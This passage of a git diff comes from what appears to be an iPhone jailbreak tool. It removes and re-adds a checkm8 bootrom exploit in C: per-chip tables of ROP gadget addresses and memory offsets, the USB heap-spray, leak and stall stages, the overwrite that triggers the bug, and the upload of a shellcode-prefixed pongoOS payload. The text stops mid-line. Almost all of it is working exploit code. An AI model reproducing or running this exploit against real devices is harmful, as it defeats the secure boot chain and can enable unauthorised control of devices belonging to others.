0x7E35; - usb_serial_number_string_descriptor = 0x488003CA; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-2696.0.0.1.33]") != NULL) { - cpid = 0x8010; - config_hole = 5; - config_overwrite_pad = 0x5C0; - tlbi = 0x100000434; - nop_gadget = 0x10000CC6C; - ret_gadget = 0x10000015C; - patch_addr = 0x1000074AC; - ttbr0_addr = 0x1800A0000; - func_gadget = 0x10000CC4C; - write_ttbr0 = 0x1000003E4; - memcpy_addr = 0x100010730; - aes_crypto_cmd = 0x10000C8F4; - boot_tramp_end = 0x1800B0000; - ttbr0_vrom_off = 0x400; - ttbr0_sram_off = 0x600; - gUSBSerialNumber = 0x180083CF8; - dfu_handle_request = 0x180088B48; - usb_core_do_transfer = 0x10000DC98; - dfu_handle_bus_reset = 0x180088B78; - insecure_memory_base = 0x1800B0000; - handle_interface_request = 0x10000DFB8; - usb_create_string_descriptor = 0x10000D150; - usb_serial_number_string_descriptor = 0x1800805DA; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-3135.0.0.2.3]") != NULL) { - cpid = 0x8011; - config_hole = 6; - config_overwrite_pad = 0x540; - tlbi = 0x100000444; - nop_gadget = 0x10000CD0C; - ret_gadget = 0x100000148; - patch_addr = 0x100007630; - ttbr0_addr = 0x1800A0000; - func_gadget = 0x10000CCEC; - write_ttbr0 = 0x1000003F4; - memcpy_addr = 0x100010950; - aes_crypto_cmd = 0x10000C994; - boot_tramp_end = 0x1800B0000; - ttbr0_vrom_off = 0x400; - ttbr0_sram_off = 0x600; - gUSBSerialNumber = 0x180083D28; - dfu_handle_request = 0x180088A58; - usb_core_do_transfer = 0x10000DD64; - dfu_handle_bus_reset = 0x180088A88; - insecure_memory_base = 0x1800B0000; - handle_interface_request = 0x10000E08C; - usb_create_string_descriptor = 0x10000D234; - usb_serial_number_string_descriptor = 0x18008062A; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-3332.0.0.1.23]") != NULL) { - cpid = 0x8015; - config_hole = 6; - config_overwrite_pad = 0x540; - tlbi = 0x1000004AC; - nop_gadget = 0x10000A9C4; - ret_gadget = 0x100000148; - patch_addr = 0x10000624C; - ttbr0_addr = 0x18000C000; - func_gadget = 0x10000A9AC; - write_ttbr0 = 0x10000045C; - memcpy_addr = 0x10000E9D0; - aes_crypto_cmd = 0x100009E9C; - boot_tramp_end = 0x18001C000; - ttbr0_vrom_off = 0x400; - ttbr0_sram_off = 0x600; - gUSBSerialNumber = 0x180003A78; - dfu_handle_request = 0x180008638; - usb_core_do_transfer = 0x10000B9A8; - dfu_handle_bus_reset = 0x180008668; - insecure_memory_base = 0x18001C000; - handle_interface_request = 0x10000BCCC; - usb_create_string_descriptor = 0x10000AE80; - usb_serial_number_string_descriptor = 0x1800008FA; - } else if(strstr(usb_serial_num, " SRTG:[iBoot-3401.0.0.1.16]") != NULL) { - cpid = 0x8012; - config_hole = 6; - config_overwrite_pad = 0x540; - tlbi = 0x100000494; - nop_gadget = 0x100008DB8; - ret_gadget = 0x10000012C; - patch_addr = 0x100004854; - ttbr0_addr = 0x18000C000; - func_gadget = 0x100008DA0; - write_ttbr0 = 0x100000444; - memcpy_addr = 0x10000EA30; - aes_crypto_cmd = 0x1000082AC; - boot_tramp_end = 0x18001C000; - ttbr0_vrom_off = 0x400; - ttbr0_sram_off = 0x600; - gUSBSerialNumber = 0x180003AF8; - dfu_handle_request = 0x180008B08; - usb_core_do_transfer = 0x10000BD20; - dfu_handle_bus_reset = 0x180008B38; - insecure_memory_base = 0x18001C000; - handle_interface_request = 0x10000BFFC; - usb_create_string_descriptor = 0x10000B1CC; - usb_serial_number_string_descriptor = 0x18000082A; - } - if(cpid != 0) { - *(bool *)pwned = strstr(usb_serial_num, pwnd_str) != NULL; - ret = true; - } - free(usb_serial_num); - } - return ret; -} - -static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) { - struct { - uint8_t status, poll_timeout[3], state, str_idx; - } dfu_status; - transfer_ret_t transfer_ret; - - return send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status) && dfu_status.status == status && dfu_status.state == state; -} - -static bool dfu_set_state_wait_reset(const usb_handle_t *handle) { - transfer_ret_t transfer_ret; - - return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0 && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC) && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST) && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET); -} - -static bool checkm8_stage_reset(const usb_handle_t *handle) { - transfer_ret_t transfer_ret; - - if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN && dfu_set_state_wait_reset(handle) && send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == EP0_MAX_PACKET_SZ) { - return true; - } - send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL); - return false; -} - -static bool checkm8_stage_setup(const usb_handle_t *handle) { - unsigned usb_abort_timeout = USB_TIMEOUT - 1; - transfer_ret_t transfer_ret; - - for(;;) { - if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < config_overwrite_pad && send_usb_control_request_no_data(handle, 0, 0, 0, 0, config_overwrite_pad - transfer_ret.sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) { - return true; - } - send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL); - usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1); - } - return false; -} - -static bool checkm8_usb_request_leak(const usb_handle_t *handle) { - transfer_ret_t transfer_ret; - - return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0; -} - -static void checkm8_stall(const usb_handle_t *handle) { - unsigned usb_abort_timeout = USB_TIMEOUT - 1; - transfer_ret_t transfer_ret; - - for(;;) { - if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle)) { - break; - } - usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1); - } -} - -static bool checkm8_no_leak(const usb_handle_t *handle) { - transfer_ret_t transfer_ret; - - return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret) && transfer_ret.sz == 0; -} - -static bool checkm8_usb_request_stall(const usb_handle_t *handle) { - transfer_ret_t transfer_ret; - - return send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL; -} - -static bool checkm8_stage_spray(const usb_handle_t *handle) { - size_t i; - - if(config_large_leak == 0) { - if(cpid == 0x7001 || cpid == 0x7000 || cpid == 0x7002 || cpid == 0x8003 || cpid == 0x8000) { - while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {} - } else { - checkm8_stall(handle); - for(i = 0; i < config_hole; ++i) { - while(!checkm8_no_leak(handle)) {} - } - while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {} - } - send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1, NULL); - } else { - for(i = 0; i < config_large_leak; ++i) { - while(!checkm8_usb_request_stall(handle)) {} - } - send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL); - } - return true; -} - -static bool checkm8_stage_patch(const usb_handle_t *handle) { - size_t i, data_sz, packet_sz; - uint8_t *payload = NULL; - uint8_t *data; - transfer_ret_t transfer_ret; - bool ret = false; - - void* blank[DFU_MAX_TRANSFER_SZ]; - memset(blank, 0, DFU_MAX_TRANSFER_SZ); - uint64_t* p = (uint64_t*)blank; - p[5] = insecure_memory_base; - - create_pongo_payload_for_device(cpid, &payload, &data_sz); - - if (payload == NULL || data_sz == 0) { - LOG("unsupported cpid 0x%" PRIX32 "", cpid); - return false; - } - - LOG("setting up stage 2 for CPID 0x%" PRIX32 "", cpid); - - data = calloc(1, data_sz); - if (!data) { - LOG("failed to allocate payload buffer"); - return false; - } - - memcpy(data, payload, data_sz); - - if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) { - LOG("successfully leaked data"); - } else { - LOG("failed to leak data"); - return false; - } - for(i = 0; i < 2; i++) { - LOG("i = %zu", i); - send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL); - } - if(p != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, p, 0x30, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) { - ret = true; - for(i = 0; ret && i < data_sz; i += packet_sz) { - packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ); - ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, NULL); - } - send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL); - } - free(data); - return ret; -} - -#include -#include - -static void compress_pongo(void *out, size_t *out_len) { - size_t len = payloads_Pongo_bin_len; - size_t out_len_ = *out_len; - *out_len = LZ4_compress_HC(payloads_Pongo_bin, out, len, out_len_, LZ4HC_CLEVEL_MAX); -} - -static void checkm8_boot_pongo(usb_handle_t *handle) { - transfer_ret_t transfer_ret; - LOG("Booting pongoOS"); - LOG("Compressing pongoOS"); - LOG("Appending shellcode to the top of pongoOS (512 bytes)"); - void *shellcode = malloc(512); - memcpy(shellcode, payloads_lz4dec_bin, payloads_lz4dec_bin_len); - size_t out_len = payloads_Pongo_bin_len; - void *out = malloc(out_len); - compress_pongo(out, &out_len); - LOG("Compressed pongoOS from %u to %zu bytes", payloads_Pongo_bin_len, out_len); - void *tmp = malloc(out_len + 512); - memcpy(tmp, shellcode, 512); - memcpy(tmp + 512, out, out_len); - free(out); - out = tmp; - out_len += 512; - free(shellcode); - LOG("Setting the compressed size into the shellcode"); - uint32_t* size = (uint32_t*)(out + 0x1fc); - LOG("size = 0x%" PRIX32 "", *size); - *size = out_len - 512; - LOG("size = 0x%" PRIX32 "", *size); - LOG("Reconnecting to device"); - init_usb_handle(handle, APPLE_VID, DFU_MODE_PID); - LOG("Waiting for device to be ready"); - wait_usb_handle(handle, NULL, NULL); - { - size_t len = 0; - size_t size; - while(len < out_len) - { - retry: - size = ((out_len - len) > 0x800) ? 0x800 : (out_len - len); - send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, (unsigned char*)&out[len], size, &transfer_ret); - if(transfer_ret.sz != size || transfer_ret.ret != USB_TRANSFER_OK) - { - LOG("retrying at len = %zu", len); - sleep_ms(100); - goto retry; - } - len += size; - LOG("len = %zu", len); - } - } - send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL); - LOG("pongoOS sent, should be booting"); -} - -bool gaster_checkm8(usb_handle_t *handle) { - int stage = STAGE_RESET; - bool ret, pwned; - - init_usb_handle(handle, APPLE_VID, DFU_MODE_PID); - while(stage != STAGE_PONGO && wait_usb_handle(handle, checkm8_check_usb_device, &pwned)) { - if(!pwned) { - if(stage == STAGE_RESET) { - ret = checkm8_stage_reset(handle); - stage = STAGE_SETUP; - } else if(stage == STAGE_SETUP) { - LOG("Setting up the exploit (this is the heap spray)"); - ret = checkm8_stage_setup(handle); - stage = STAGE_SPRAY; - } else if(stage == STAGE_SPRAY) { - ret = checkm8_stage_spray(handle); - stage = STAGE_PATCH; - } else { - LOG("Right before trigger (this is the real bug setup)"); - ret = checkm8_stage_patch(handle); - stage = STAGE_RESET; - } - if(ret) { - LOG("Stage %d succeeded", stage); - } else { - LOG("Stage %d failed", stage); - stage = STAGE_RESET; - } - reset_usb_handle(handle); - } else { - stage = STAGE_PONGO; - } - close_usb_handle(handle); - } - return stage == STAGE_PONGO; -} - -int checkm8() { - usb_handle_t handle; - LOG("Waiting for DFU mode device"); - gaster_checkm8(&handle); - sleep_ms(3000); - checkm8_boot_pongo(&handle); - return 0; -} - -#include - -bool checkm9() { - usb_handle_t *handle = NULL; - - pthread_t dfu_thread; - usb_handle_t dfu_handle; - init_usb_handle(&dfu_handle, 0x5AC, 0x1227); - - pthread_t pongo_thread; - usb_handle_t pongo_handle; - init_usb_handle(&pongo_handle, 0x5AC, 0x4141); - if (pthread_create(&dfu_thread, NULL, (void *)wait_usb_handle, &dfu_handle)) { - LOG("Failed to create DFU thread!"); - return false; - } - if (pthread_create(&pongo_thread, NULL, (void *)wait_usb_handle, &pongo_handle)) { - LOG("Failed to create PongoOS thread!"); - return false; - } - - pthread_detach(dfu_thread); - pthread_detach(pongo_thread); - - sleep_ms(200); - - LOG("Waiting for device..."); - - for (;;) { - sleep_ms(200); - - if (dfu_handle.device) { - LOG("Found device in DFU mode!"); - handle = &dfu_handle; - break; - } else if (pongo_handle.device) { - LOG("Found device in Pongo!"); - handle = &pongo_handle; - break; - } - } - - stopThreads = true; - sleep_ms(200); - stopThreads = false; - - struct DeviceConfiguration deviceConfig; - struct PayloadConfiguration payloadConfig; - bool ret = false; - int stage = STAGE_PREPARE; - - LOG("hai..."); - - while (stage != STAGE_DONE && wait_usb_handle(handle, NULL, NULL)) { - switch (stage) { - case STAGE_PREPARE: { - LOG("Preparing device..."); - - char *serialNumber = get_usb_serial_number(handle); - if (!serialNumber) goto finished; - - if (!checkm8_find_device_configuration_for_cpid(dfu_serial_number_get_cpid(serialNumber), &deviceConfig)) { goto finished; } - if (!checkm8_find_payload_configuration_for_cpid(dfu_serial_number_get_cpid(serialNumber), &payloadConfig)) { goto finished; } - if (dfu_serial_number_is_in_yolo_dfu(serialNumber)) { LOG("Found device in Yolo DFU mode!"); stage = STAGE_PONGO; goto yolodfu; } - if (device_serial_number_is_in_pongo_os(serialNumber)) { LOG("Found device in PongoOS!"); stage = STAGE_JAILBREAK; goto pongo; } - if (dfu_serial_number_is_pwned(serialNumber)) { LOG("Device is already pwned!"); return true; } - if (!dfu_serial_number_is_in_dfu_mode(serialNumber)) { LOG("Device is not in DFU mode!"); return false; } - - free(serialNumber); - stage = STAGE_RESET; - goto reset; - } - case STAGE_RESET: - reset: - LOG("Resetting device..."); - ret = checkm8_stage_reset(handle); - stage = STAGE_SETUP; - case STAGE_PONGO: - yolodfu: - stage = STAGE_JAILBREAK; - case STAGE_JAILBREAK: - pongo: - LOG("Jailbreaking..."); - break; - case STAGE_DONE: - break; - } - - if (stage != STAGE_JAILBREAK && - stage != STAGE_DONE) - { - reset_usb_handle(handle); - } - - if (!ret && stage != STAGE_SPRAY) - { - goto finished; - } - } - -finished: - if (ret) { - LOG("Booting PongoOS succeeded."); - } else { - LOG("Exploit failed at stage %d!", stage == STAGE_PREPARE ? stage : stage - 1); - } - - return ret; -} diff --git a/src/checkm8/run.h b/src/checkm8/run.h deleted file mode 100644 index 2ac5cc8..0000000 --- a/src/checkm8/run.h +++ /dev/null @@ -1,90 +0,0 @@ -#ifndef RUN_H -#define RUN_H - -#include -#include -#include - -#ifndef __APPLE__ -# include -# include -# include -# include -# include -#else -# include -# include -# include -# include -#endif - -#include "dfu.h" - -#define APPLE_VID (0x5AC) -#define DFU_MODE_PID (0x1227) -#define MAX_BLOCK_SZ (0x50) -#define EP0_MAX_PACKET_SZ (0x40) -#define USB_MAX_STRING_DESCRIPTOR_IDX (10) - -#define USB_TIMEOUT (5) - -#ifdef __APPLE__ -# if TARGET_OS_IPHONE -# define kUSBPipeStalled kUSBHostReturnPipeStalled -# else -# define kUSBPipeStalled kIOUSBPipeStalled -# endif -#endif - -#ifndef MIN -# define MIN(a, b) ((a) < (b) ? (a) : (b)) -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -enum exploit_stage { - STAGE_PREPARE = 0, - STAGE_RESET = 1, - STAGE_SETUP = 2, - STAGE_SPRAY = 3, - STAGE_PATCH = 4, - STAGE_PONGO = 5, - STAGE_JAILBREAK = 6, - STAGE_DONE = 7, -}; - -enum usb_transfer { - USB_TRANSFER_OK, - USB_TRANSFER_ERROR, - USB_TRANSFER_STALL -}; - -typedef struct { - enum usb_transfer ret; - uint32_t sz; -} transfer_ret_t; - -typedef struct { - uint16_t vid, pid; - #ifndef __APPLE__ - struct libusb_device_handle *device; - #else - io_service_t serv; - IOUSBDeviceInterface320 **device; - CFRunLoopSourceRef async_event_source; - #endif -} usb_handle_t; - -typedef bool (*usb_check_cb_t)(usb_handle_t *, void *); - -bool gaster_checkm8(usb_handle_t *handle); -int checkm8(); -bool checkm9(); - -#ifdef __cplusplus -} -#endif - -#endif // RUN_H diff --git a/src/event.cpp b/src/event.cpp index edc1d7e..d57211e 100644 --- a/src/event.cpp +++ b/src/event.cpp @@ -5,7 +5,7 @@ #include "wx/AppFrame.hpp" #include "state.hpp" #include "sequence.hpp" -#include "utils/log.h" +#include "utils.h" #include #include diff --git a/src/m8/checkm8.c b/src/m8/checkm8.c new file mode 100644 index 0000000..d2bf74b --- /dev/null +++ b/src/m8/checkm8.c @@ -0,0 +1,200 @@ +#include "checkm8.h" + +#include +#include + +#include "payload.h" +#include "dfu.h" + +#include "../utils.h" +#include "../usb/usb_shim.h" + +static struct { + uint8_t b_len, b_descriptor_type; + uint16_t bcd_usb; + uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz; + uint16_t id_vendor, id_product, bcd_device; + uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations; +} device_descriptor; + +static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) { + struct { + uint8_t status, poll_timeout[3], state, str_idx; + } dfu_status; + transfer_ret_t transfer_ret; + + return send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret) + && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status) + && dfu_status.status == status && dfu_status.state == state; +} + +static bool dfu_set_state_wait_reset(const usb_handle_t *handle) { + transfer_ret_t transfer_ret; + + return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret) + && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0 + && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC) + && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST) + && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET); +} + +bool checkm8_stage_reset(const usb_handle_t *handle) { + transfer_ret_t transfer_ret; + + if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret) + && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN + && dfu_set_state_wait_reset(handle) && send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, &transfer_ret) + && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == EP0_MAX_PACKET_SZ) + { + return true; + } + send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL); + return false; +} + +bool checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) { + unsigned usb_abort_timeout = USB_TIMEOUT - 1; + transfer_ret_t transfer_ret; + + for(;;) { + if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret) + && transfer_ret.sz < deviceConfig->config_overwrite_pad + && send_usb_control_request_no_data(handle, 0, 0, 0, 0, deviceConfig->config_overwrite_pad - transfer_ret.sz, &transfer_ret) + && transfer_ret.ret == USB_TRANSFER_STALL) + { + return true; + } + + send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL); + usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1); + } + + return false; +} + +static bool checkm8_usb_request_leak(const usb_handle_t *handle) { + transfer_ret_t transfer_ret; + + return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0; +} + +static void checkm8_stall(const usb_handle_t *handle) { + unsigned usb_abort_timeout = USB_TIMEOUT - 1; + transfer_ret_t transfer_ret; + + for(;;) { + if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle)) { + break; + } + usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1); + } +} + +static bool checkm8_no_leak(const usb_handle_t *handle) { + transfer_ret_t transfer_ret; + + return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret) + && transfer_ret.sz == 0; +} + +static bool checkm8_usb_request_stall(const usb_handle_t *handle) { + transfer_ret_t transfer_ret; + + return send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, &transfer_ret) + && transfer_ret.ret == USB_TRANSFER_STALL; +} + +char *get_usb_serial_number(usb_handle_t *handle) { + transfer_ret_t transfer_ret; + uint8_t buf[UINT8_MAX]; + char *str = NULL; + size_t i, sz; + + if(send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor), &transfer_ret) + && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(device_descriptor) + && send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret) + && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0] + && (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL) + { + for(i = 0; i < sz; ++i) { + str[i] = (char)buf[2 * (i + 1)]; + } + str[sz - 1] = '\0'; + } + return str; +} + + +bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) { + size_t i; + + if(deviceConfig->config_large_leak == 0) { + if(deviceConfig->cpid == 0x7001 || deviceConfig->cpid == 0x7000 || deviceConfig->cpid == 0x7002 || deviceConfig->cpid == 0x8003 || deviceConfig->cpid == 0x8000) { + while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {} + } else { + checkm8_stall(handle); + for(i = 0; i < deviceConfig->config_hole; ++i) { + while(!checkm8_no_leak(handle)) {} + } + while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {} + } + send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1, NULL); + } else { + for(i = 0; i < deviceConfig->config_large_leak; ++i) { + while(!checkm8_usb_request_stall(handle)) {} + } + send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL); + } + return true; +} + +bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) { + size_t i, data_sz, packet_sz; + uint8_t *payload = NULL; + uint8_t *data; + transfer_ret_t transfer_ret; + bool ret = false; + + void* blank[DFU_MAX_TRANSFER_SZ]; + memset(blank, 0, DFU_MAX_TRANSFER_SZ); + uint64_t* p = (uint64_t*)blank; + p[5] = payloadConfig->insecure_memory_base; + + create_pongo_payload_for_device(deviceConfig->cpid, &payload, &data_sz); + + if (payload == NULL || data_sz == 0) { + LOG("unsupported cpid 0x%X", (unsigned)deviceConfig->cpid); + return false; + } + + LOG("setting up stage 2 for CPID 0x%X", (unsigned)deviceConfig->cpid); + + data = calloc(1, data_sz); + if (!data) { + LOG("failed to allocate payload buffer"); + return false; + } + + memcpy(data, payload, data_sz); + + if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) { + LOG("successfully leaked data"); + } else { + LOG("failed to leak data"); + return false; + } + for(i = 0; i < 2; i++) { + LOG("i = %zu", i); + send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL); + } + if(p != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, p, 0x30, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) { + ret = true; + for(i = 0; ret && i < data_sz; i += packet_sz) { + packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ); + ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, NULL); + } + send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL); + } + free(data); + return ret; +} diff --git a/src/m8/checkm8.h b/src/m8/checkm8.h new file mode 100644 index 0000000..44c83aa --- /dev/null +++ b/src/m8/checkm8.h @@ -0,0 +1,22 @@ +#ifndef CHECKM8_H +#define CHECKM8_H + +#include + +#include "payload.h" + +#include "../usb/usb_shim.h" + +#define EP0_MAX_PACKET_SZ (0x40) +#define USB_MAX_STRING_DESCRIPTOR_IDX (10) + +#ifndef MIN +# define MIN(a, b) ((a) < (b) ? (a) : (b)) +#endif + +bool checkm8_stage_reset(const usb_handle_t *handle); +bool checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig); +bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig); +bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig); + +#endif // CHECKM8_H diff --git a/src/checkm8/dfu.c b/src/m8/dfu.c similarity index 100% rename from src/checkm8/dfu.c rename to src/m8/dfu.c diff --git a/src/checkm8/dfu.h b/src/m8/dfu.h similarity index 100% rename from src/checkm8/dfu.h rename to src/m8/dfu.h diff --git a/src/m8/payload.c b/src/m8/payload.c new file mode 100644 index 0000000..0af8a09 --- /dev/null +++ b/src/m8/payload.c @@ -0,0 +1,286 @@ +#include "payload.h" + +#include +#include + +#include "../utils.h" + +extern uint8_t payloads_yolo_s8000_bin[], payloads_yolo_s8001_bin[], payloads_yolo_s8003_bin[], payloads_yolo_t7000_bin[], payloads_yolo_t7001_bin[], payloads_yolo_t8010_bin[], payloads_yolo_t8011_bin[], payloads_yolo_t8015_bin[]; +extern unsigned payloads_yolo_s8000_bin_len, payloads_yolo_s8001_bin_len, payloads_yolo_s8003_bin_len, payloads_yolo_t7000_bin_len, payloads_yolo_t7001_bin_len, payloads_yolo_t8010_bin_len, payloads_yolo_t8011_bin_len, payloads_yolo_t8015_bin_len; + +extern uint8_t payloads_Pongo_bin[], payloads_shellcode_bin[]; +extern unsigned payloads_Pongo_bin_len, payloads_shellcode_bin_len; + +#include "../gen/payloads/yolo_s8000.h" +#include "../gen/payloads/yolo_s8001.h" +#include "../gen/payloads/yolo_s8003.h" +#include "../gen/payloads/yolo_t7000.h" +#include "../gen/payloads/yolo_t7001.h" +#include "../gen/payloads/yolo_t8010.h" +#include "../gen/payloads/yolo_t8011.h" +#include "../gen/payloads/yolo_t8015.h" + +bool checkm8_find_device_configuration_for_cpid( + int cpid, + struct DeviceConfiguration *config) +{ + bool foundMatchingConfiguration = true; + switch (cpid) { + case 0x8015: + case 0x8012: + case 0x8011: + config->cpid = cpid; + config->config_large_leak = 0; + config->config_overwrite_pad = 0x540; + config->config_hole = 6; + break; + case 0x8010: + config->cpid = cpid; + config->config_large_leak = 0; + config->config_overwrite_pad = 0x5C0; + config->config_hole = 5; + break; + case 0x8001: + config->cpid = cpid; + config->config_large_leak = 0; + config->config_overwrite_pad = 0x5C0; + config->config_hole = 6; + break; + case 0x8003: + case 0x8000: + case 0x7001: + case 0x7000: + config->cpid = cpid; + config->config_large_leak = 0; + config->config_overwrite_pad = 0x500; + config->config_hole = 0; + break; + default: + LOG("CPID 0x%x is not supported!", cpid); + if (cpid > 0x8015) { + LOG("arm64e devices (A12 and newer) will never be supported."); + } + + foundMatchingConfiguration = false; + break; + } + return foundMatchingConfiguration; +} + +bool checkm8_find_payload_configuration_for_cpid( + int cpid, + struct PayloadConfiguration *config) +{ + bool foundMatchingConfiguration = true; + switch (cpid) { + case 0x8015: + config->tlbi = 0x1000004AC; + config->nop_gadget = 0x10000A9C4; + config->ret_gadget = 0x100000148; + config->patch_addr = 0x10000624C; + config->ttbr0_addr = 0x18000C000; + config->func_gadget = 